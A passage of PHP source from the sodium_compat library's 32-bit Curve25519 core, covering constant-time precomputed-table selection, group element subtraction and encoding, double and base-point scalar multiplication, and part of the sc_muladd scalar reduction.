                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9])
                            )
                        )
                    );
                }
            }
        }
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                -self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, -$bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        static $Bi = array();
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9])
                        )
                    )
                );
            }
        }

        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
                # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }
            /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_madd($t, $u, $thisB);
                # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);

                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);

                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_msub($t, $u, $thisB);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }

        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3)));
        $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5));
        $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2));
        $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7));
        $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4));
        $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1));
        $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6));
        $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3));
        $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3)));
        $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5));
        $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2));
        $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7));
        $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3)));
        $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5));
        $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2));
        $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7));
        $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4));
        $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1));
        $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6));
        $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3));
        $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3)));
        $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5));
        $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2));
        $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7));
        $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3)));
        $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5));
        $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2));
        $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7));
        $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4));
        $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1));
        $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6));
        $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3));
        $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3)));
        $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5));
        $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2));
        $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7));

        /* Can't really avoid the pyramid here: */
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */

        $s0 = $c0->addInt64($a0->mulInt64($b0, 24));
        $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24));
        $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24));
        $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24))
                 ->addInt64($a3->mulInt64($b0, 24));
        $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24))
                 ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24));
        $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24))
                 ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24));
        $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24))
                 ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24))
                 ->addInt64($a6->mulInt64($b0, 24));
        $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24))
                 ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24))
                 ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24));
        $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24))
                 ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24))
                 ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24));
        $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24))
                 ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24))
                 ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24))
                 ->addInt64($a9->mulInt64($b0, 24));
        $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24))
                   ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24))
                   ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24))
                   ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24));
        $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24))
                   ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24))
                   ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24))
                   ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24));
        $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24))
                  ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24))
                  ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24))
                  ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24));
        $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24))
                  ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24))
                  ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24))
                  ->addInt64($a11->mulInt64($b2, 24));
        $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24))
                  ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24))
                  ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24));
        $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24))
                  ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24))
                  ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24));
        $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24))
                  ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24))
                  ->addInt64($a11->mulInt64($b5, 24));
        $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24))
                  ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24));
        $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24))
                  ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24));
        $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24))
                  ->addInt64($a11->mulInt64($b8, 24));
        $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24));
        $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24));
        $s22 = $a11->mulInt64($b11, 24);
        $s23 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));
        $carry18 = $s18->addInt(1 << 20)->shiftRight(21);
        $s19 = $s19->addInt64($carry18);
        $s18 = $s18->subInt64($carry18->shiftLeft(21));
        $carry20 = $s20->addInt(1 << 20)->shiftRight(21);
        $s21 = $s21->addInt64($carry20);
        $s20 = $s20->subInt64($carry20->shiftLeft(21));
        $carry22 = $s22->addInt(1 << 20)->shiftRight(21);
        $s23 = $s23->addInt64($carry22);
        $s22 = $s22->subInt64($carry22->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
